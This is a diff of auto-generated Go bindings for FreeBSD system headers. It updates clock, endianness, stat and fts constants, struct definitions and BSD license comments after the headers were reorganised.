X_LOCALE_T_DEFINED = 0 // _time.h:35:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _time.h:34:1:
|
||||
X_LSEEK_DECLARED = 0 // types.h:421:1:
|
||||
X_LWPID_T_DECLARED = 0 // types.h:156:1:
|
||||
X_MACHINE_ENDIAN_H_ = 0 // endian.h:36:1:
|
||||
@@ -226,7 +226,7 @@ const (
|
||||
X_UINTMAX_T_DECLARED = 0 // _stdint.h:89:1:
|
||||
X_UINTPTR_T_DECLARED = 0 // _stdint.h:81:1:
|
||||
X_USECONDS_T_DECLARED = 0 // types.h:239:1:
|
||||
X_XLOCALE_LOCALE1_H = 0 // _time.h:45:1:
|
||||
X_XLOCALE_LOCALE1_H = 0 // _time.h:44:1:
|
||||
I386 = 1 // <predefined>:335:1:
|
||||
Unix = 1 // <predefined>:336:1:
|
||||
)
|
||||
@@ -2124,7 +2124,6 @@ type Tm = struct {
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
// Copyright (c) 2011, 2012 The FreeBSD Foundation
|
||||
// All rights reserved.
|
||||
//
|
||||
// This software was developed by David Chisnall under sponsorship from
|
||||
// the FreeBSD Foundation.
|
||||
@@ -2152,7 +2151,7 @@ type Tm = struct {
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
type Locale_t = uintptr /* _time.h:36:25 */
|
||||
type Locale_t = uintptr /* _time.h:35:25 */
|
||||
|
||||
type Stat = struct {
|
||||
Fst_dev Dev_t
|
||||
|
||||
+154
-96
@@ -17,34 +17,37 @@ var _ unsafe.Pointer
|
||||
const (
|
||||
ACCESSPERMS = 511 // stat.h:298:1:
|
||||
ALLPERMS = 4095 // stat.h:300:1:
|
||||
BIG_ENDIAN = 4321 // endian.h:63:1:
|
||||
BYTE_ORDER = 1234 // endian.h:65:1:
|
||||
CLK_TCK = 128 // time.h:55:1:
|
||||
CLOCKS_PER_SEC = 128 // time.h:59:1:
|
||||
CLOCK_MONOTONIC = 4 // time.h:472:1:
|
||||
CLOCK_MONOTONIC_FAST = 12 // time.h:479:1:
|
||||
CLOCK_MONOTONIC_PRECISE = 11 // time.h:478:1:
|
||||
CLOCK_PROCESS_CPUTIME_ID = 15 // time.h:482:1:
|
||||
CLOCK_PROF = 2 // time.h:469:1:
|
||||
CLOCK_REALTIME = 0 // time.h:465:1:
|
||||
CLOCK_REALTIME_FAST = 10 // time.h:477:1:
|
||||
CLOCK_REALTIME_PRECISE = 9 // time.h:476:1:
|
||||
CLOCK_SECOND = 13 // time.h:480:1:
|
||||
CLOCK_THREAD_CPUTIME_ID = 14 // time.h:481:1:
|
||||
CLOCK_UPTIME = 5 // time.h:473:1:
|
||||
CLOCK_UPTIME_FAST = 8 // time.h:475:1:
|
||||
CLOCK_UPTIME_PRECISE = 7 // time.h:474:1:
|
||||
CLOCK_VIRTUAL = 1 // time.h:468:1:
|
||||
CPUCLOCK_WHICH_PID = 0 // time.h:491:1:
|
||||
CPUCLOCK_WHICH_TID = 1 // time.h:492:1:
|
||||
BIG_ENDIAN = 4321 // _endian.h:70:1:
|
||||
BYTE_ORDER = 1234 // _endian.h:72:1:
|
||||
CLK_TCK = 128 // time.h:56:1:
|
||||
CLOCKS_PER_SEC = 128 // time.h:60:1:
|
||||
CLOCK_BOOTTIME = 5 // _clock_id.h:92:1:
|
||||
CLOCK_MONOTONIC = 4 // _clock_id.h:67:1:
|
||||
CLOCK_MONOTONIC_COARSE = 12 // _clock_id.h:94:1:
|
||||
CLOCK_MONOTONIC_FAST = 12 // _clock_id.h:79:1:
|
||||
CLOCK_MONOTONIC_PRECISE = 11 // _clock_id.h:78:1:
|
||||
CLOCK_PROCESS_CPUTIME_ID = 15 // _clock_id.h:85:1:
|
||||
CLOCK_PROF = 2 // _clock_id.h:64:1:
|
||||
CLOCK_REALTIME = 0 // _clock_id.h:60:1:
|
||||
CLOCK_REALTIME_COARSE = 10 // _clock_id.h:93:1:
|
||||
CLOCK_REALTIME_FAST = 10 // _clock_id.h:77:1:
|
||||
CLOCK_REALTIME_PRECISE = 9 // _clock_id.h:76:1:
|
||||
CLOCK_SECOND = 13 // _clock_id.h:80:1:
|
||||
CLOCK_THREAD_CPUTIME_ID = 14 // _clock_id.h:84:1:
|
||||
CLOCK_UPTIME = 5 // _clock_id.h:74:1:
|
||||
CLOCK_UPTIME_FAST = 8 // _clock_id.h:68:1:
|
||||
CLOCK_UPTIME_PRECISE = 7 // _clock_id.h:75:1:
|
||||
CLOCK_VIRTUAL = 1 // _clock_id.h:63:1:
|
||||
CPUCLOCK_WHICH_PID = 0 // time.h:476:1:
|
||||
CPUCLOCK_WHICH_TID = 1 // time.h:477:1:
|
||||
DEFFILEMODE = 438 // stat.h:302:1:
|
||||
DST_AUST = 2 // time.h:48:1:
|
||||
DST_CAN = 6 // time.h:52:1:
|
||||
DST_EET = 5 // time.h:51:1:
|
||||
DST_MET = 4 // time.h:50:1:
|
||||
DST_NONE = 0 // time.h:46:1:
|
||||
DST_USA = 1 // time.h:47:1:
|
||||
DST_WET = 3 // time.h:49:1:
|
||||
DST_AUST = 2 // time.h:49:1:
|
||||
DST_CAN = 6 // time.h:53:1:
|
||||
DST_EET = 5 // time.h:52:1:
|
||||
DST_MET = 4 // time.h:51:1:
|
||||
DST_NONE = 0 // time.h:47:1:
|
||||
DST_USA = 1 // time.h:48:1:
|
||||
DST_WET = 3 // time.h:50:1:
|
||||
FD_SETSIZE = 1024 // select.h:61:1:
|
||||
FTS_AGAIN = 1 // fts.h:111:1:
|
||||
FTS_COMFOLLOW = 0x001 // fts.h:52:1:
|
||||
@@ -80,12 +83,12 @@ const (
|
||||
FTS_W = 14 // fts.h:103:1:
|
||||
FTS_WHITEOUT = 0x080 // fts.h:59:1:
|
||||
FTS_XDEV = 0x040 // fts.h:58:1:
|
||||
ITIMER_PROF = 2 // time.h:445:1:
|
||||
ITIMER_REAL = 0 // time.h:443:1:
|
||||
ITIMER_VIRTUAL = 1 // time.h:444:1:
|
||||
LITTLE_ENDIAN = 1234 // endian.h:62:1:
|
||||
PDP_ENDIAN = 3412 // endian.h:64:1:
|
||||
SBT_MAX = 0x7fffffffffffffff // time.h:134:1:
|
||||
ITIMER_PROF = 2 // time.h:457:1:
|
||||
ITIMER_REAL = 0 // time.h:455:1:
|
||||
ITIMER_VIRTUAL = 1 // time.h:456:1:
|
||||
LITTLE_ENDIAN = 1234 // _endian.h:69:1:
|
||||
PDP_ENDIAN = 3412 // _endian.h:71:1:
|
||||
SBT_MAX = 0x7fffffffffffffff // time.h:135:1:
|
||||
SF_APPEND = 0x00040000 // stat.h:341:1:
|
||||
SF_ARCHIVED = 0x00010000 // stat.h:339:1:
|
||||
SF_IMMUTABLE = 0x00020000 // stat.h:340:1:
|
||||
@@ -121,9 +124,9 @@ const (
|
||||
S_IXGRP = 0000010 // stat.h:262:1:
|
||||
S_IXOTH = 0000001 // stat.h:267:1:
|
||||
S_IXUSR = 0000100 // stat.h:251:1:
|
||||
TIMER_ABSTIME = 0x1 // time.h:487:1:
|
||||
TIMER_RELTIME = 0x0 // time.h:123:1:
|
||||
TIME_UTC = 1 // time.h:216:1:
|
||||
TIMER_ABSTIME = 0x1 // _clock_id.h:101:1:
|
||||
TIMER_RELTIME = 0x0 // _clock_id.h:98:1:
|
||||
TIME_UTC = 1 // time.h:188:1:
|
||||
UF_APPEND = 0x00000004 // stat.h:314:1:
|
||||
UF_ARCHIVE = 0x00000800 // stat.h:330:1:
|
||||
UF_HIDDEN = 0x00008000 // stat.h:333:1:
|
||||
@@ -140,10 +143,10 @@ const (
|
||||
UTIME_NOW = -1 // stat.h:358:1:
|
||||
UTIME_OMIT = -2 // stat.h:359:1:
|
||||
X_ACCMODE_T_DECLARED = 0 // types.h:166:1:
|
||||
X_BIG_ENDIAN = 4321 // endian.h:52:1:
|
||||
X_BIG_ENDIAN = 4321 // _endian.h:47:1:
|
||||
X_BLKCNT_T_DECLARED = 0 // types.h:90:1:
|
||||
X_BLKSIZE_T_DECLARED = 0 // types.h:81:1:
|
||||
X_BYTE_ORDER = 1234 // endian.h:55:1:
|
||||
X_BYTE_ORDER = 1234 // _endian.h:40:1:
|
||||
X_CAP_IOCTL_T_DECLARED = 0 // types.h:243:1:
|
||||
X_CAP_RIGHTS_T_DECLARED = 0 // types.h:248:1:
|
||||
X_CLOCKID_T_DECLARED = 0 // types.h:100:1:
|
||||
@@ -166,8 +169,8 @@ const (
|
||||
X_IN_ADDR_T_DECLARED = 0 // types.h:131:1:
|
||||
X_IN_PORT_T_DECLARED = 0 // types.h:136:1:
|
||||
X_KEY_T_DECLARED = 0 // types.h:151:1:
|
||||
X_LITTLE_ENDIAN = 1234 // endian.h:51:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _time.h:35:1:
|
||||
X_LITTLE_ENDIAN = 1234 // _endian.h:46:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _time.h:34:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_LSEEK_DECLARED = 0 // types.h:421:1:
|
||||
X_LWPID_T_DECLARED = 0 // types.h:156:1:
|
||||
@@ -179,16 +182,16 @@ const (
|
||||
X_MODE_T_DECLARED = 0 // types.h:161:1:
|
||||
X_MQD_T_DECLARED = 0 // types.h:227:1:
|
||||
X_NLINK_T_DECLARED = 0 // types.h:171:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_OFF64_T_DECLARED = 0 // types.h:181:1:
|
||||
X_OFF_T_DECLARED = 0 // types.h:176:1:
|
||||
X_PDP_ENDIAN = 3412 // endian.h:53:1:
|
||||
X_PDP_ENDIAN = 3412 // _endian.h:48:1:
|
||||
X_PID_T_DECLARED = 0 // types.h:186:1:
|
||||
X_PTHREAD_T_DECLARED = 0 // _pthreadtypes.h:68:1:
|
||||
X_QUAD_HIGHWORD = 1 // endian.h:44:1:
|
||||
X_QUAD_LOWWORD = 0 // endian.h:45:1:
|
||||
X_QUAD_HIGHWORD = 1 // _endian.h:55:1:
|
||||
X_QUAD_LOWWORD = 0 // _endian.h:56:1:
|
||||
X_RLIM_T_DECLARED = 0 // types.h:193:1:
|
||||
X_SELECT_DECLARED = 0 // select.h:103:1:
|
||||
X_SIGSET_T_DECLARED = 0 // select.h:50:1:
|
||||
@@ -200,9 +203,11 @@ const (
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS_SELECT_H_ = 0 // select.h:35:1:
|
||||
X_SYS_STAT_H_ = 0 // stat.h:41:1:
|
||||
X_SYS_SYS__CLOCK_ID_H = 0 // _clock_id.h:40:1:
|
||||
X_SYS_TIMESPEC_H_ = 0 // timespec.h:37:1:
|
||||
X_SYS_TIME_H_ = 0 // time.h:36:1:
|
||||
X_SYS_TYPES_H_ = 0 // types.h:41:1:
|
||||
X_SYS__ENDIAN_H_ = 0 // _endian.h:33:1:
|
||||
X_SYS__PTHREADTYPES_H_ = 0 // _pthreadtypes.h:39:1:
|
||||
X_SYS__SIGSET_H_ = 0 // _sigset.h:41:1:
|
||||
X_SYS__STDINT_H_ = 0 // _stdint.h:33:1:
|
||||
@@ -221,8 +226,8 @@ const (
|
||||
X_UINTMAX_T_DECLARED = 0 // _stdint.h:89:1:
|
||||
X_UINTPTR_T_DECLARED = 0 // _stdint.h:81:1:
|
||||
X_USECONDS_T_DECLARED = 0 // types.h:239:1:
|
||||
X_XLOCALE_LOCALE1_H = 0 // _time.h:45:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
X_XLOCALE_LOCALE1_H = 0 // _time.h:44:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -497,12 +502,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// Machine type dependent parameters.
|
||||
// -
|
||||
// This file is in the public domain.
|
||||
@@ -541,42 +549,6 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
// @(#)endian.h 7.8 (Berkeley) 4/3/91
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
//
|
||||
// Copyright (c) 1991, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
//
|
||||
// This code is derived from software contributed to Berkeley by
|
||||
// Berkeley Software Design, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)cdefs.h 8.8 (Berkeley) 1/9/95
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
@@ -1843,15 +1815,69 @@ type Fd_set = Fd_set1 /* select.h:75:3 */
|
||||
// from: FreeBSD: src/sys/sys/time.h,v 1.43 2000/03/20 14:09:05 phk Exp
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
//
|
||||
// Copyright (c) 1989, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
// (c) UNIX System Laboratories, Inc.
|
||||
// All or some portions of this file are derived from material licensed
|
||||
// to the University of California by American Telephone and Telegraph
|
||||
// Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
// the permission of UNIX System Laboratories, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)time.h 8.3 (Berkeley) 1/21/94
|
||||
|
||||
// These macros are shared between time.h and sys/time.h.
|
||||
|
||||
// Note: The values shown below as a comment for the __POSIX_VISIBLE values are
|
||||
// the ones FreeBSD traditionally used based on our reading of the POSIX
|
||||
// standards. However, glibc uses 199309 for all of them, even those many were
|
||||
// not defined there. To remain bug compatible with glibc means more software
|
||||
// that relied on the glibc behavior will compile easily on FreeBSD.
|
||||
//
|
||||
// Also, CLOCK_UPTIME_FAST is improperly visible temporarily for the lang/pocl
|
||||
// port until it can be updated properly. It incorrectly assumes that this was a
|
||||
// standard value. It will be moved back to the __BSD_VISIBLE section once the
|
||||
// issue is corrected.
|
||||
|
||||
// FreeBSD-specific clocks.
|
||||
|
||||
// Linux compatible names.
|
||||
|
||||
type Timezone = struct {
|
||||
Ftz_minuteswest int32
|
||||
Ftz_dsttime int32
|
||||
} /* time.h:42:1 */
|
||||
} /* time.h:43:1 */
|
||||
|
||||
type Bintime = struct {
|
||||
Fsec Time_t
|
||||
Ffrac Uint64_t
|
||||
} /* time.h:55:1 */
|
||||
} /* time.h:56:1 */
|
||||
|
||||
// Operations on timespecs
|
||||
|
||||
@@ -1867,7 +1893,7 @@ type Itimerval = struct {
|
||||
Ftv_sec Time_t
|
||||
Ftv_usec Suseconds_t
|
||||
}
|
||||
} /* time.h:447:1 */
|
||||
} /* time.h:459:1 */
|
||||
|
||||
// Getkerninfo clock information structure
|
||||
type Clockinfo = struct {
|
||||
@@ -1876,9 +1902,7 @@ type Clockinfo = struct {
|
||||
Fspare int32
|
||||
Fstathz int32
|
||||
Fprofhz int32
|
||||
} /* time.h:455:1 */
|
||||
|
||||
// These macros are also in time.h.
|
||||
} /* time.h:467:1 */
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
@@ -2013,6 +2037,43 @@ type Clockinfo = struct {
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
//
|
||||
// Copyright (c) 1989, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
// (c) UNIX System Laboratories, Inc.
|
||||
// All or some portions of this file are derived from material licensed
|
||||
// to the University of California by American Telephone and Telegraph
|
||||
// Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
// the permission of UNIX System Laboratories, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)time.h 8.3 (Berkeley) 1/21/94
|
||||
|
||||
// Frequency of the clock ticks reported by times(). Deprecated - use
|
||||
// sysconf(_SC_CLK_TCK) instead. (Removed in 1003.1-2001.)
|
||||
|
||||
@@ -2054,8 +2115,6 @@ type Clockinfo = struct {
|
||||
// from: FreeBSD: src/sys/sys/time.h,v 1.43 2000/03/20 14:09:05 phk Exp
|
||||
// $FreeBSD$
|
||||
|
||||
// These macros are also in sys/time.h.
|
||||
|
||||
type Tm = struct {
|
||||
Ftm_sec int32
|
||||
Ftm_min int32
|
||||
@@ -2069,13 +2128,12 @@ type Tm = struct {
|
||||
F__ccgo_pad1 [4]byte
|
||||
Ftm_gmtoff int64
|
||||
Ftm_zone uintptr
|
||||
} /* time.h:129:1 */
|
||||
} /* time.h:101:1 */
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
// Copyright (c) 2011, 2012 The FreeBSD Foundation
|
||||
// All rights reserved.
|
||||
//
|
||||
// This software was developed by David Chisnall under sponsorship from
|
||||
// the FreeBSD Foundation.
|
||||
@@ -2103,7 +2161,7 @@ type Tm = struct {
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
type Locale_t = uintptr /* _time.h:36:25 */
|
||||
type Locale_t = uintptr /* _time.h:35:25 */
|
||||
|
||||
type Stat = struct {
|
||||
Fst_dev Dev_t
|
||||
|
||||
+2
-2
@@ -728,8 +728,8 @@ type X__cpusetid_t = int32 /* _types.h:70:14 */ // cpuset identifier.
|
||||
type X__daddr_t = X__int64_t /* _types.h:71:19 */ // bwrite(3), FIOBMAP2, etc
|
||||
|
||||
// Unusual type definitions.
|
||||
// rune_t is declared to be an ``int'' instead of the more natural
|
||||
// ``unsigned long'' or ``long''. Two things are happening here. It is not
|
||||
// rune_t is declared to be an “int” instead of the more natural
|
||||
// “unsigned long” or “long”. Two things are happening here. It is not
|
||||
// unsigned so that EOF (-1) can be naturally assigned to it and used. Also,
|
||||
// it looks like 10646 will be a 31 bit standard. This means that if your
|
||||
// ints cannot hold 32 bits, you will be in trouble. The reason an int was
|
||||
|
||||
+154
-96
@@ -17,34 +17,37 @@ var _ unsafe.Pointer
|
||||
const (
|
||||
ACCESSPERMS = 511 // stat.h:298:1:
|
||||
ALLPERMS = 4095 // stat.h:300:1:
|
||||
BIG_ENDIAN = 4321 // endian.h:63:1:
|
||||
BYTE_ORDER = 1234 // endian.h:65:1:
|
||||
CLK_TCK = 128 // time.h:55:1:
|
||||
CLOCKS_PER_SEC = 128 // time.h:59:1:
|
||||
CLOCK_MONOTONIC = 4 // time.h:472:1:
|
||||
CLOCK_MONOTONIC_FAST = 12 // time.h:479:1:
|
||||
CLOCK_MONOTONIC_PRECISE = 11 // time.h:478:1:
|
||||
CLOCK_PROCESS_CPUTIME_ID = 15 // time.h:482:1:
|
||||
CLOCK_PROF = 2 // time.h:469:1:
|
||||
CLOCK_REALTIME = 0 // time.h:465:1:
|
||||
CLOCK_REALTIME_FAST = 10 // time.h:477:1:
|
||||
CLOCK_REALTIME_PRECISE = 9 // time.h:476:1:
|
||||
CLOCK_SECOND = 13 // time.h:480:1:
|
||||
CLOCK_THREAD_CPUTIME_ID = 14 // time.h:481:1:
|
||||
CLOCK_UPTIME = 5 // time.h:473:1:
|
||||
CLOCK_UPTIME_FAST = 8 // time.h:475:1:
|
||||
CLOCK_UPTIME_PRECISE = 7 // time.h:474:1:
|
||||
CLOCK_VIRTUAL = 1 // time.h:468:1:
|
||||
CPUCLOCK_WHICH_PID = 0 // time.h:491:1:
|
||||
CPUCLOCK_WHICH_TID = 1 // time.h:492:1:
|
||||
BIG_ENDIAN = 4321 // _endian.h:70:1:
|
||||
BYTE_ORDER = 1234 // _endian.h:72:1:
|
||||
CLK_TCK = 128 // time.h:56:1:
|
||||
CLOCKS_PER_SEC = 128 // time.h:60:1:
|
||||
CLOCK_BOOTTIME = 5 // _clock_id.h:92:1:
|
||||
CLOCK_MONOTONIC = 4 // _clock_id.h:67:1:
|
||||
CLOCK_MONOTONIC_COARSE = 12 // _clock_id.h:94:1:
|
||||
CLOCK_MONOTONIC_FAST = 12 // _clock_id.h:79:1:
|
||||
CLOCK_MONOTONIC_PRECISE = 11 // _clock_id.h:78:1:
|
||||
CLOCK_PROCESS_CPUTIME_ID = 15 // _clock_id.h:85:1:
|
||||
CLOCK_PROF = 2 // _clock_id.h:64:1:
|
||||
CLOCK_REALTIME = 0 // _clock_id.h:60:1:
|
||||
CLOCK_REALTIME_COARSE = 10 // _clock_id.h:93:1:
|
||||
CLOCK_REALTIME_FAST = 10 // _clock_id.h:77:1:
|
||||
CLOCK_REALTIME_PRECISE = 9 // _clock_id.h:76:1:
|
||||
CLOCK_SECOND = 13 // _clock_id.h:80:1:
|
||||
CLOCK_THREAD_CPUTIME_ID = 14 // _clock_id.h:84:1:
|
||||
CLOCK_UPTIME = 5 // _clock_id.h:74:1:
|
||||
CLOCK_UPTIME_FAST = 8 // _clock_id.h:68:1:
|
||||
CLOCK_UPTIME_PRECISE = 7 // _clock_id.h:75:1:
|
||||
CLOCK_VIRTUAL = 1 // _clock_id.h:63:1:
|
||||
CPUCLOCK_WHICH_PID = 0 // time.h:476:1:
|
||||
CPUCLOCK_WHICH_TID = 1 // time.h:477:1:
|
||||
DEFFILEMODE = 438 // stat.h:302:1:
|
||||
DST_AUST = 2 // time.h:48:1:
|
||||
DST_CAN = 6 // time.h:52:1:
|
||||
DST_EET = 5 // time.h:51:1:
|
||||
DST_MET = 4 // time.h:50:1:
|
||||
DST_NONE = 0 // time.h:46:1:
|
||||
DST_USA = 1 // time.h:47:1:
|
||||
DST_WET = 3 // time.h:49:1:
|
||||
DST_AUST = 2 // time.h:49:1:
|
||||
DST_CAN = 6 // time.h:53:1:
|
||||
DST_EET = 5 // time.h:52:1:
|
||||
DST_MET = 4 // time.h:51:1:
|
||||
DST_NONE = 0 // time.h:47:1:
|
||||
DST_USA = 1 // time.h:48:1:
|
||||
DST_WET = 3 // time.h:50:1:
|
||||
FD_SETSIZE = 1024 // select.h:61:1:
|
||||
FTS_AGAIN = 1 // fts.h:111:1:
|
||||
FTS_COMFOLLOW = 0x001 // fts.h:52:1:
|
||||
@@ -80,12 +83,12 @@ const (
|
||||
FTS_W = 14 // fts.h:103:1:
|
||||
FTS_WHITEOUT = 0x080 // fts.h:59:1:
|
||||
FTS_XDEV = 0x040 // fts.h:58:1:
|
||||
ITIMER_PROF = 2 // time.h:445:1:
|
||||
ITIMER_REAL = 0 // time.h:443:1:
|
||||
ITIMER_VIRTUAL = 1 // time.h:444:1:
|
||||
LITTLE_ENDIAN = 1234 // endian.h:62:1:
|
||||
PDP_ENDIAN = 3412 // endian.h:64:1:
|
||||
SBT_MAX = 0x7fffffffffffffff // time.h:134:1:
|
||||
ITIMER_PROF = 2 // time.h:457:1:
|
||||
ITIMER_REAL = 0 // time.h:455:1:
|
||||
ITIMER_VIRTUAL = 1 // time.h:456:1:
|
||||
LITTLE_ENDIAN = 1234 // _endian.h:69:1:
|
||||
PDP_ENDIAN = 3412 // _endian.h:71:1:
|
||||
SBT_MAX = 0x7fffffffffffffff // time.h:135:1:
|
||||
SF_APPEND = 0x00040000 // stat.h:341:1:
|
||||
SF_ARCHIVED = 0x00010000 // stat.h:339:1:
|
||||
SF_IMMUTABLE = 0x00020000 // stat.h:340:1:
|
||||
@@ -121,9 +124,9 @@ const (
|
||||
S_IXGRP = 0000010 // stat.h:262:1:
|
||||
S_IXOTH = 0000001 // stat.h:267:1:
|
||||
S_IXUSR = 0000100 // stat.h:251:1:
|
||||
TIMER_ABSTIME = 0x1 // time.h:487:1:
|
||||
TIMER_RELTIME = 0x0 // time.h:123:1:
|
||||
TIME_UTC = 1 // time.h:216:1:
|
||||
TIMER_ABSTIME = 0x1 // _clock_id.h:101:1:
|
||||
TIMER_RELTIME = 0x0 // _clock_id.h:98:1:
|
||||
TIME_UTC = 1 // time.h:188:1:
|
||||
UF_APPEND = 0x00000004 // stat.h:314:1:
|
||||
UF_ARCHIVE = 0x00000800 // stat.h:330:1:
|
||||
UF_HIDDEN = 0x00008000 // stat.h:333:1:
